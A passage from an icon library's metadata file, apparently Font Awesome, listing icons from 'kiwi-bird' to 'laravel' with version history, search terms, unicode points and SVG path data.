        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M240 144A96 96 0 1 0 48 144a96 96 0 1 0 192 0zm44.4 32C269.9 240.1 212.5 288 144 288C64.5 288 0 223.5 0 144S64.5 0 144 0c68.5 0 125.9 47.9 140.4 112h71.8c8.8-9.8 21.6-16 35.8-16H496c26.5 0 48 21.5 48 48s-21.5 48-48 48H392c-14.2 0-27-6.2-35.8-16H284.4zM144 80a64 64 0 1 1 0 128 64 64 0 1 1 0-128zM400 240c13.3 0 24 10.7 24 24v8h96c13.3 0 24 10.7 24 24s-10.7 24-24 24H280c-13.3 0-24-10.7-24-24s10.7-24 24-24h96v-8c0-13.3 10.7-24 24-24zM288 464V352H512V464c0 26.5-21.5 48-48 48H336c-26.5 0-48-21.5-48-48zM48 320h80 16 32c26.5 0 48 21.5 48 48s-21.5 48-48 48H160c0 17.7-14.3 32-32 32H64c-17.7 0-32-14.3-32-32V336c0-8.8 7.2-16 16-16zm128 64c8.8 0 16-7.2 16-16s-7.2-16-16-16H160v32h16zM24 464H200c13.3 0 24 10.7 24 24s-10.7 24-24 24H24c-13.3 0-24-10.7-24-24s10.7-24 24-24z"
      }
    },
    "free": ["solid"]
  },
  "kiwi-bird": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f535"]
      }
    },
    "changes": [
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["bird", "fauna", "new zealand"]
    },
    "styles": ["solid"],
    "unicode": "f535",
    "label": "Kiwi Bird",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M291.2 388.4c31.2-18.8 64.7-36.4 101.1-36.4H448c4.6 0 9.1-.2 13.6-.7l85.3 121.9c4 5.7 11.3 8.2 17.9 6.1s11.2-8.3 11.2-15.3V224c0-70.7-57.3-128-128-128H392.3c-36.4 0-69.9-17.6-101.1-36.4C262.3 42.1 228.3 32 192 32C86 32 0 118 0 224c0 71.1 38.6 133.1 96 166.3V456c0 13.3 10.7 24 24 24s24-10.7 24-24V410c15.3 3.9 31.4 6 48 6c5.4 0 10.7-.2 16-.7V456c0 13.3 10.7 24 24 24s24-10.7 24-24V405.1c12.4-4.4 24.2-10 35.2-16.7zM448 200a24 24 0 1 1 0 48 24 24 0 1 1 0-48z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M291.2 388.4c31.2-18.8 64.7-36.4 101.1-36.4H448c4.6 0 9.1-.2 13.6-.7l85.3 121.9c4 5.7 11.3 8.2 17.9 6.1s11.2-8.3 11.2-15.3V224c0-70.7-57.3-128-128-128H392.3c-36.4 0-69.9-17.6-101.1-36.4C262.3 42.1 228.3 32 192 32C86 32 0 118 0 224c0 71.1 38.6 133.1 96 166.3V456c0 13.3 10.7 24 24 24s24-10.7 24-24V410c15.3 3.9 31.4 6 48 6c5.4 0 10.7-.2 16-.7V456c0 13.3 10.7 24 24 24s24-10.7 24-24V405.1c12.4-4.4 24.2-10 35.2-16.7zM448 200a24 24 0 1 1 0 48 24 24 0 1 1 0-48z"
      }
    },
    "free": ["solid"]
  },
  "korvue": {
    "changes": ["5.0.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f42f",
    "label": "KORVUE",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014458,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 446 512\"><path d=\"M386.5 34h-327C26.8 34 0 60.8 0 93.5v327.1C0 453.2 26.8 480 59.5 480h327.1c33 0 59.5-26.8 59.5-59.5v-327C446 60.8 419.2 34 386.5 34zM87.1 120.8h96v116l61.8-116h110.9l-81.2 132H87.1v-132zm161.8 272.1l-65.7-113.6v113.6h-96V262.1h191.5l88.6 130.8H248.9z\"/></svg>",
        "viewBox": [0, 0, 446, 512],
        "width": 446,
        "height": 512,
        "path": "M386.5 34h-327C26.8 34 0 60.8 0 93.5v327.1C0 453.2 26.8 480 59.5 480h327.1c33 0 59.5-26.8 59.5-59.5v-327C446 60.8 419.2 34 386.5 34zM87.1 120.8h96v116l61.8-116h110.9l-81.2 132H87.1v-132zm161.8 272.1l-65.7-113.6v113.6h-96V262.1h191.5l88.6 130.8H248.9z"
      }
    },
    "free": ["brands"]
  },
  "l": {
    "aliases": {
      "unicodes": {
        "composite": ["6c"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter L", "Latin Small Letter L", "letter"]
    },
    "styles": ["solid"],
    "unicode": "4c",
    "label": "L",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767247,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M64 32c17.7 0 32 14.3 32 32V416H288c17.7 0 32 14.3 32 32s-14.3 32-32 32H64c-17.7 0-32-14.3-32-32V64c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M64 32c17.7 0 32 14.3 32 32V416H288c17.7 0 32 14.3 32 32s-14.3 32-32 32H64c-17.7 0-32-14.3-32-32V64c0-17.7 14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "land-mine-on": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bomb", "danger", "explosion", "war"]
    },
    "styles": ["solid"],
    "unicode": "e51b",
    "label": "Land Mine On",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M344 24V168c0 13.3-10.7 24-24 24s-24-10.7-24-24V24c0-13.3 10.7-24 24-24s24 10.7 24 24zM192 320c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32v32H192V320zm-77.3 90.5c8.1-16.3 24.8-26.5 42.9-26.5H482.3c18.2 0 34.8 10.3 42.9 26.5l27.6 55.2C563.5 487 548 512 524.2 512H115.8c-23.8 0-39.3-25-28.6-46.3l27.6-55.2zM36.3 138.3c7.5-10.9 22.5-13.6 33.4-6.1l104 72c10.9 7.5 13.6 22.5 6.1 33.4s-22.5 13.6-33.4 6.1l-104-72c-10.9-7.5-13.6-22.5-6.1-33.4zm534.1-6.1c10.9-7.5 25.8-4.8 33.4 6.1s4.8 25.8-6.1 33.4l-104 72c-10.9 7.5-25.8 4.8-33.4-6.1s-4.8-25.8 6.1-33.4l104-72z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M344 24V168c0 13.3-10.7 24-24 24s-24-10.7-24-24V24c0-13.3 10.7-24 24-24s24 10.7 24 24zM192 320c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32v32H192V320zm-77.3 90.5c8.1-16.3 24.8-26.5 42.9-26.5H482.3c18.2 0 34.8 10.3 42.9 26.5l27.6 55.2C563.5 487 548 512 524.2 512H115.8c-23.8 0-39.3-25-28.6-46.3l27.6-55.2zM36.3 138.3c7.5-10.9 22.5-13.6 33.4-6.1l104 72c10.9 7.5 13.6 22.5 6.1 33.4s-22.5 13.6-33.4 6.1l-104-72c-10.9-7.5-13.6-22.5-6.1-33.4zm534.1-6.1c10.9-7.5 25.8-4.8 33.4 6.1s4.8 25.8-6.1 33.4l-104 72c-10.9 7.5-25.8 4.8-33.4-6.1s-4.8-25.8 6.1-33.4l104-72z"
      }
    },
    "free": ["solid"]
  },
  "landmark": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3db"],
        "secondary": ["10f66f"]
      }
    },
    "changes": [
      "5.3.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "building",
        "classical",
        "historic",
        "memorable",
        "monument",
        "museum",
        "politics"
      ]
    },
    "styles": ["solid"],
    "unicode": "f66f",
    "label": "Landmark",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M240.1 4.2c9.8-5.6 21.9-5.6 31.8 0l171.8 98.1L448 104l0 .9 47.9 27.4c12.6 7.2 18.8 22 15.1 36s-16.4 23.8-30.9 23.8H32c-14.5 0-27.2-9.8-30.9-23.8s2.5-28.8 15.1-36L64 104.9V104l4.4-1.6L240.1 4.2zM64 224h64V416h40V224h64V416h48V224h64V416h40V224h64V420.3c.6 .3 1.2 .7 1.8 1.1l48 32c11.7 7.8 17 22.4 12.9 35.9S494.1 512 480 512H32c-14.1 0-26.5-9.2-30.6-22.7s1.1-28.1 12.9-35.9l48-32c.6-.4 1.2-.7 1.8-1.1V224z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M240.1 4.2c9.8-5.6 21.9-5.6 31.8 0l171.8 98.1L448 104l0 .9 47.9 27.4c12.6 7.2 18.8 22 15.1 36s-16.4 23.8-30.9 23.8H32c-14.5 0-27.2-9.8-30.9-23.8s2.5-28.8 15.1-36L64 104.9V104l4.4-1.6L240.1 4.2zM64 224h64V416h40V224h64V416h48V224h64V416h40V224h64V420.3c.6 .3 1.2 .7 1.8 1.1l48 32c11.7 7.8 17 22.4 12.9 35.9S494.1 512 480 512H32c-14.1 0-26.5-9.2-30.6-22.7s1.1-28.1 12.9-35.9l48-32c.6-.4 1.2-.7 1.8-1.1V224z"
      }
    },
    "free": ["solid"]
  },
  "landmark-dome": {
    "aliases": {
      "names": ["landmark-alt"],
      "unicodes": {
        "secondary": ["10f752"]
      }
    },
    "changes": [
      "5.5.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["building", "historic", "memorable", "monument", "politics"]
    },
    "styles": ["solid"],
    "unicode": "f752",
    "label": "Landmark Dome",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M248 0h16c13.3 0 24 10.7 24 24V34.7C368.4 48.1 431.9 111.6 445.3 192H448c17.7 0 32 14.3 32 32s-14.3 32-32 32H64c-17.7 0-32-14.3-32-32s14.3-32 32-32h2.7C80.1 111.6 143.6 48.1 224 34.7V24c0-13.3 10.7-24 24-24zM64 288h64V416h40V288h64V416h48V288h64V416h40V288h64V420.3c.6 .3 1.2 .7 1.7 1.1l48 32c11.7 7.8 17 22.4 12.9 35.9S494.1 512 480 512H32c-14.1 0-26.5-9.2-30.6-22.7s1.1-28.1 12.9-35.9l48-32c.6-.4 1.2-.7 1.8-1.1V288z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M248 0h16c13.3 0 24 10.7 24 24V34.7C368.4 48.1 431.9 111.6 445.3 192H448c17.7 0 32 14.3 32 32s-14.3 32-32 32H64c-17.7 0-32-14.3-32-32s14.3-32 32-32h2.7C80.1 111.6 143.6 48.1 224 34.7V24c0-13.3 10.7-24 24-24zM64 288h64V416h40V288h64V416h48V288h64V416h40V288h64V420.3c.6 .3 1.2 .7 1.7 1.1l48 32c11.7 7.8 17 22.4 12.9 35.9S494.1 512 480 512H32c-14.1 0-26.5-9.2-30.6-22.7s1.1-28.1 12.9-35.9l48-32c.6-.4 1.2-.7 1.8-1.1V288z"
      }
    },
    "free": ["solid"]
  },
  "landmark-flag": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["capitol", "flag", "landmark", "memorial"]
    },
    "styles": ["solid"],
    "unicode": "e51c",
    "label": "Landmark Flag",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M272 0h80c8.8 0 16 7.2 16 16V80c0 8.8-7.2 16-16 16H272v32H464c17.7 0 32 14.3 32 32s-14.3 32-32 32H48c-17.7 0-32-14.3-32-32s14.3-32 32-32H240V16c0-8.8 7.2-16 16-16h16zM64 224h64V416h40V224h64V416h48V224h64V416h40V224h64V420.3c.6 .3 1.2 .7 1.8 1.1l48 32c11.7 7.8 17 22.4 12.9 35.9S494.1 512 480 512H32c-14.1 0-26.5-9.2-30.6-22.7s1.1-28.1 12.9-35.9l48-32c.6-.4 1.2-.7 1.8-1.1V224z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M272 0h80c8.8 0 16 7.2 16 16V80c0 8.8-7.2 16-16 16H272v32H464c17.7 0 32 14.3 32 32s-14.3 32-32 32H48c-17.7 0-32-14.3-32-32s14.3-32 32-32H240V16c0-8.8 7.2-16 16-16h16zM64 224h64V416h40V224h64V416h48V224h64V416h40V224h64V420.3c.6 .3 1.2 .7 1.8 1.1l48 32c11.7 7.8 17 22.4 12.9 35.9S494.1 512 480 512H32c-14.1 0-26.5-9.2-30.6-22.7s1.1-28.1 12.9-35.9l48-32c.6-.4 1.2-.7 1.8-1.1V224z"
      }
    },
    "free": ["solid"]
  },
  "language": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1ab"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "dialect",
        "idiom",
        "localize",
        "speech",
        "translate",
        "vernacular"
      ]
    },
    "styles": ["solid"],
    "unicode": "f1ab",
    "label": "Language",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M0 128C0 92.7 28.7 64 64 64H256h48 16H576c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H320 304 256 64c-35.3 0-64-28.7-64-64V128zm320 0V384H576V128H320zM178.3 175.9c-3.2-7.2-10.4-11.9-18.3-11.9s-15.1 4.7-18.3 11.9l-64 144c-4.5 10.1 .1 21.9 10.2 26.4s21.9-.1 26.4-10.2l8.9-20.1h73.6l8.9 20.1c4.5 10.1 16.3 14.6 26.4 10.2s14.6-16.3 10.2-26.4l-64-144zM160 233.2L179 276H141l19-42.8zM448 164c11 0 20 9 20 20v4h44 16c11 0 20 9 20 20s-9 20-20 20h-2l-1.6 4.5c-8.9 24.4-22.4 46.6-39.6 65.4c.9 .6 1.8 1.1 2.7 1.6l18.9 11.3c9.5 5.7 12.5 18 6.9 27.4s-18 12.5-27.4 6.9l-18.9-11.3c-4.5-2.7-8.8-5.5-13.1-8.5c-10.6 7.5-21.9 14-34 19.4l-3.6 1.6c-10.1 4.5-21.9-.1-26.4-10.2s.1-21.9 10.2-26.4l3.6-1.6c6.4-2.9 12.6-6.1 18.5-9.8l-12.2-12.2c-7.8-7.8-7.8-20.5 0-28.3s20.5-7.8 28.3 0l14.6 14.6 .5 .5c12.4-13.1 22.5-28.3 29.8-45H448 376c-11 0-20-9-20-20s9-20 20-20h52v-4c0-11 9-20 20-20z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M0 128C0 92.7 28.7 64 64 64H256h48 16H576c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H320 304 256 64c-35.3 0-64-28.7-64-64V128zm320 0V384H576V128H320zM178.3 175.9c-3.2-7.2-10.4-11.9-18.3-11.9s-15.1 4.7-18.3 11.9l-64 144c-4.5 10.1 .1 21.9 10.2 26.4s21.9-.1 26.4-10.2l8.9-20.1h73.6l8.9 20.1c4.5 10.1 16.3 14.6 26.4 10.2s14.6-16.3 10.2-26.4l-64-144zM160 233.2L179 276H141l19-42.8zM448 164c11 0 20 9 20 20v4h44 16c11 0 20 9 20 20s-9 20-20 20h-2l-1.6 4.5c-8.9 24.4-22.4 46.6-39.6 65.4c.9 .6 1.8 1.1 2.7 1.6l18.9 11.3c9.5 5.7 12.5 18 6.9 27.4s-18 12.5-27.4 6.9l-18.9-11.3c-4.5-2.7-8.8-5.5-13.1-8.5c-10.6 7.5-21.9 14-34 19.4l-3.6 1.6c-10.1 4.5-21.9-.1-26.4-10.2s.1-21.9 10.2-26.4l3.6-1.6c6.4-2.9 12.6-6.1 18.5-9.8l-12.2-12.2c-7.8-7.8-7.8-20.5 0-28.3s20.5-7.8 28.3 0l14.6 14.6 .5 .5c12.4-13.1 22.5-28.3 29.8-45H448 376c-11 0-20-9-20-20s9-20 20-20h52v-4c0-11 9-20 20-20z"
      }
    },
    "free": ["solid"]
  },
  "laptop": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4bb"],
        "secondary": ["10f109"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "5.2.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "computer",
        "cpu",
        "dell",
        "demo",
        "device",
        "laptop",
        "mac",
        "macbook",
        "machine",
        "pc",
        "personal"
      ]
    },
    "styles": ["solid"],
    "unicode": "f109",
    "label": "Laptop",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M128 32C92.7 32 64 60.7 64 96V352h64V96H512V352h64V96c0-35.3-28.7-64-64-64H128zM19.2 384C8.6 384 0 392.6 0 403.2C0 445.6 34.4 480 76.8 480H563.2c42.4 0 76.8-34.4 76.8-76.8c0-10.6-8.6-19.2-19.2-19.2H19.2z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M128 32C92.7 32 64 60.7 64 96V352h64V96H512V352h64V96c0-35.3-28.7-64-64-64H128zM19.2 384C8.6 384 0 392.6 0 403.2C0 445.6 34.4 480 76.8 480H563.2c42.4 0 76.8-34.4 76.8-76.8c0-10.6-8.6-19.2-19.2-19.2H19.2z"
      }
    },
    "free": ["solid"]
  },
  "laptop-code": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5fc"]
      }
    },
    "changes": ["5.2.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "computer",
        "cpu",
        "dell",
        "demo",
        "develop",
        "device",
        "mac",
        "macbook",
        "machine",
        "pc"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5fc",
    "label": "Laptop Code",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 96c0-35.3 28.7-64 64-64H512c35.3 0 64 28.7 64 64V352H512V96H128V352H64V96zM0 403.2C0 392.6 8.6 384 19.2 384H620.8c10.6 0 19.2 8.6 19.2 19.2c0 42.4-34.4 76.8-76.8 76.8H76.8C34.4 480 0 445.6 0 403.2zM281 209l-31 31 31 31c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-48-48c-9.4-9.4-9.4-24.6 0-33.9l48-48c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9zM393 175l48 48c9.4 9.4 9.4 24.6 0 33.9l-48 48c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l31-31-31-31c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M64 96c0-35.3 28.7-64 64-64H512c35.3 0 64 28.7 64 64V352H512V96H128V352H64V96zM0 403.2C0 392.6 8.6 384 19.2 384H620.8c10.6 0 19.2 8.6 19.2 19.2c0 42.4-34.4 76.8-76.8 76.8H76.8C34.4 480 0 445.6 0 403.2zM281 209l-31 31 31 31c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-48-48c-9.4-9.4-9.4-24.6 0-33.9l48-48c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9zM393 175l48 48c9.4 9.4 9.4 24.6 0 33.9l-48 48c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l31-31-31-31c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0z"
      }
    },
    "free": ["solid"]
  },
  "laptop-file": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["computer", "education", "laptop", "learning", "remote work"]
    },
    "styles": ["solid"],
    "unicode": "e51d",
    "label": "Laptop File",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M128 0C92.7 0 64 28.7 64 64V288H19.2C8.6 288 0 296.6 0 307.2C0 349.6 34.4 384 76.8 384H320V288H128V64H448V96h64V64c0-35.3-28.7-64-64-64H128zM512 128H400c-26.5 0-48 21.5-48 48V464c0 26.5 21.5 48 48 48H592c26.5 0 48-21.5 48-48V256H544c-17.7 0-32-14.3-32-32V128zm32 0v96h96l-96-96z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M128 0C92.7 0 64 28.7 64 64V288H19.2C8.6 288 0 296.6 0 307.2C0 349.6 34.4 384 76.8 384H320V288H128V64H448V96h64V64c0-35.3-28.7-64-64-64H128zM512 128H400c-26.5 0-48 21.5-48 48V464c0 26.5 21.5 48 48 48H592c26.5 0 48-21.5 48-48V256H544c-17.7 0-32-14.3-32-32V128zm32 0v96h96l-96-96z"
      }
    },
    "free": ["solid"]
  },
  "laptop-medical": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f812"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "computer",
        "device",
        "ehr",
        "electronic health records",
        "history"
      ]
    },
    "styles": ["solid"],
    "unicode": "f812",
    "label": "Laptop Medical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M64 96c0-35.3 28.7-64 64-64H512c35.3 0 64 28.7 64 64V352H512V96H128V352H64V96zM0 403.2C0 392.6 8.6 384 19.2 384H620.8c10.6 0 19.2 8.6 19.2 19.2c0 42.4-34.4 76.8-76.8 76.8H76.8C34.4 480 0 445.6 0 403.2zM288 160c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H352v48c0 8.8-7.2 16-16 16H304c-8.8 0-16-7.2-16-16V272H240c-8.8 0-16-7.2-16-16V224c0-8.8 7.2-16 16-16h48V160z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M64 96c0-35.3 28.7-64 64-64H512c35.3 0 64 28.7 64 64V352H512V96H128V352H64V96zM0 403.2C0 392.6 8.6 384 19.2 384H620.8c10.6 0 19.2 8.6 19.2 19.2c0 42.4-34.4 76.8-76.8 76.8H76.8C34.4 480 0 445.6 0 403.2zM288 160c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H352v48c0 8.8-7.2 16-16 16H304c-8.8 0-16-7.2-16-16V272H240c-8.8 0-16-7.2-16-16V224c0-8.8 7.2-16 16-16h48V160z"
      }
    },
    "free": ["solid"]
  },
  "laravel": {
    "changes": ["5.0.0", "5.0.3", "5.11.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3bd",
    "label": "Laravel",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M504.4,115.83a5.72,5.72,0,0,0-.28-.68,8.52,8.52,0,0,0-.53-1.25,6,6,0,0,0-.54-.71,9.36,9.36,0,0,0-.72-.94c-.23-.22-.52-.4-.77-.6a8.84,8.84,0,0,0-.9-.68L404.4,55.55a8,8,0,0,0-8,0L300.12,111h0a8.07,8.07,0,0,0-.88.69,7.68,7.68,0,0,0-.78.6,8.23,8.23,0,0,0-.72.93c-.17.24-.39.45-.54.71a9.7,9.7,0,0,0-.52,1.25c-.08.23-.21.44-.28.68a8.08,8.08,0,0,0-.28,2.08V223.18l-80.22,46.19V63.44a7.8,7.8,0,0,0-.28-2.09c-.06-.24-.2-.45-.28-.68a8.35,8.35,0,0,0-.52-1.24c-.14-.26-.37-.47-.54-.72a9.36,9.36,0,0,0-.72-.94,9.46,9.46,0,0,0-.78-.6,9.8,9.8,0,0,0-.88-.68h0L115.61,1.07a8,8,0,0,0-8,0L11.34,56.49h0a6.52,6.52,0,0,0-.88.69,7.81,7.81,0,0,0-.79.6,8.15,8.15,0,0,0-.71.93c-.18.25-.4.46-.55.72a7.88,7.88,0,0,0-.51,1.24,6.46,6.46,0,0,0-.29.67,8.18,8.18,0,0,0-.28,2.1v329.7a8,8,0,0,0,4,6.95l192.5,110.84a8.83,8.83,0,0,0,1.33.54c.21.08.41.2.63.26a7.92,7.92,0,0,0,4.1,0c.2-.05.37-.16.55-.22a8.6,8.6,0,0,0,1.4-.58L404.4,400.09a8,8,0,0,0,4-6.95V287.88l92.24-53.11a8,8,0,0,0,4-7V117.92A8.63,8.63,0,0,0,504.4,115.83ZM111.6,17.28h0l80.19,46.15-80.2,46.18L31.41,63.44Zm88.25,60V278.6l-46.53,26.79-33.69,19.4V123.5l46.53-26.79Zm0,412.78L23.37,388.5V77.32L57.06,96.7l46.52,26.8V338.68a6.94,6.94,0,0,0,.12.9,8,8,0,0,0,.16,1.18h0a5.92,5.92,0,0,0,.38.9,6.38,6.38,0,0,0,.42,1v0a8.54,8.54,0,0,0,.6.78,7.62,7.62,0,0,0,.66.84l0,0c.23.22.52.38.77.58a8.93,8.93,0,0,0,.86.66l0,0,0,0,92.19,52.18Zm8-106.17-80.06-45.32,84.09-48.41,92.26-53.11,80.13,46.13-58.8,33.56Zm184.52,4.57L215.88,490.11V397.8L346.6,323.2l45.77-26.15Zm0-119.13L358.68,250l-46.53-26.79V131.79l33.69,19.4L392.37,178Zm8-105.28-80.2-46.17,80.2-46.16,80.18,46.15Zm8,105.28V178L455,151.19l33.68-19.4v91.39h0Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M504.4,115.83a5.72,5.72,0,0,0-.28-.68,8.52,8.52,0,0,0-.53-1.25,6,6,0,0,0-.54-.71,9.36,9.36,0,0,0-.72-.94c-.23-.22-.52-.4-.77-.6a8.84,8.84,0,0,0-.9-.68L404.4,55.55a8,8,0,0,0-8,0L300.12,111h0a8.07,8.07,0,0,0-.88.69,7.68,7.68,0,0,0-.78.6,8.23,8.23,0,0,0-.72.93c-.17.24-.39.45-.54.71a9.7,9.7,0,0,0-.52,1.25c-.08.23-.21.44-.28.68a8.08,8.08,0,0,0-.28,2.08V223.18l-80.22,46.19V63.44a7.8,7.8,0,0,0-.28-2.09c-.06-.24-.2-.45-.28-.68a8.35,8.35,0,0,0-.52-1.24c-.14-.26-.37-.47-.54-.72a9.36,9.36,0,0,0-.72-.94,9.46,9.46,0,0,0-.78-.6,9.8,9.8,0,0,0-.88-.68h0L115.61,1.07a8,8,0,0,0-8,0L11.34,56.49h0a6.52,6.52,0,0,0-.88.69,7.81,7.81,0,0,0-.79.6,8.15,8.15,0,0,0-.71.93c-.18.25-.4.46-.55.72a7.88,7.88,0,0,0-.51,1.24,6.46,6.46,0,0,0-.29.67,8.18,8.18,0,0,0-.28,2.1v329.7a8,8,0,0,0,4,6.95l192.5,110.84a8.83,8.83,0,0,0,1.33.54c.21.08.41.2.63.26a7.92,7.92,0,0,0,4.1,0c.2-.05.37-.16.55-.22a8.6,8.6,0,0,0,1.4-.58L404.4,400.09a8,8,0,0,0,4-6.95V287.88l92.24-53.11a8,8,0,0,0,4-7V117.92A8.63,8.63,0,0,0,504.4,115.83ZM111.6,17.28h0l80.19,46.15-80.2,46.18L31.41,63.44Zm88.25,60V278.6l-46.53,26.79-33.69,19.4V123.5l46.53-26.79Zm0,412.78L23.37,388.5V77.32L57.06,96.7l46.52,26.8V338.68a6.94,6.94,0,0,0,.12.9,8,8,0,0,0,.16,1.18h0a5.92,5.92,0,0,0,.38.9,6.38,6.38,0,0,0,.42,1v0a8.54,8.54,0,0,0,.6.78,7.62,7.62,0,0,0,.66.84l0,0c.23.22.52.38.77.58a8.93,8.93,0,0,0,.86.66l0,0,0,0,92.19,52.18Zm8-106.17-80.06-45.32,84.09-48.41,92.26-53.11,80.13,46.13-58.8,33.56Zm184.52,4.57L215.88,490.11V397.8L346.6,323.2l45.77-26.15Zm0-119.13L358.68,250l-46.53-26.79V131.79l33.69,19.4L392.37,178Zm8-105.28-80.2-46.17,80.2-46.16,80.18,46.15Zm8,105.28V178L455,151.19l33.68-19.4v91.39